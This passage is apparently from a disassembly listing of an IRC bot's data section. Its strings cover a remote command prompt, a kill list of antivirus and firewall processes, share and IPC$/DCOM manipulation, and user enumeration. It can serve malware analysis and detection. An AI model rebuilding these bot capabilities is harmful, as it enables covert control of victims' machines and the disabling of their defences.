		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EA4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439ED8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1E0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A238	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A340
		dd offset dword_43A334
		dd offset dword_43A328
		dd offset dword_43A31C
		dd offset dword_43A310
		dd offset dword_43A304
		dd offset dword_43A2F4
		dd offset dword_43A2E8
		dd offset dword_43A2DC
		dd offset dword_43A2D0
		dd offset dword_43A2C4
		dd offset dword_43A2B4
		dd offset dword_43A2A8
		dd offset dword_43A298
dword_43A298	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A294o
dword_43A2A8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A28Co
dword_43A2C4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A288o
dword_43A2D0	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A278o
dword_43A304	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A310	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A270o
dword_43A31C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A26Co
dword_43A328	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A268o
dword_43A334	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A264o
dword_43A340	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A260o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A254o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A250o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A24Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A248o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A244o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A240o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A23Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A238o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A3F0	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A414	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A438	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4C0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A4F0	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A524	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A548	dd offset dword_43A580	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A578
		align 8
off_43A558	dd offset dword_43A574	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A570
		dd offset dword_43A56C
		dd offset off_43A568
off_43A568	dd offset loc_5C3A40+4	; DATA XREF: sub_41A3C6+217o
					; ___:0043A564o
dword_43A56C	dd 2444h		; DATA XREF: ___:0043A560o
off_43A570	dd offset loc_5C3A40+3	; DATA XREF: ___:0043A55Co
dword_43A574	dd 2443h		; DATA XREF: ___:off_43A558o
dword_43A578	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A550o
dword_43A580	dd 24435049h, 0		; DATA XREF: ___:off_43A548o
dword_43A588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A60C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A720	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A820	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A868	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A91C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A938	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A990	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43AB9C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC78	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43AC9C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD00	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD30	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD5C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD78	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADB4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADD4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADD8	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADDC	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADE0	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADE4	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADE8	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADEC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00	dd 53F9A693h		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE10	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE1C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE28	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE2C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE40	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE44	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE50	dd offset off_43AE50	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE54	dd offset off_43AE50	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE68
		dd offset dword_43AE68
dword_43AE60	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE68	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE58o
					; ___:0043AE5Co
off_43CE70	dd offset off_43AE50	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE74	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE78	dd offset word_43CE82	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE7C	dd offset word_43CE82	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE82	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D088	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D090	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D094	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D098	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0A0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0A4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0B0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D194	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D300	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D308	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D30C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3E0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D408	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D414	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D420	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D424	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D428	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D42C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D430	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D434	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D444	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D448	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D44C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
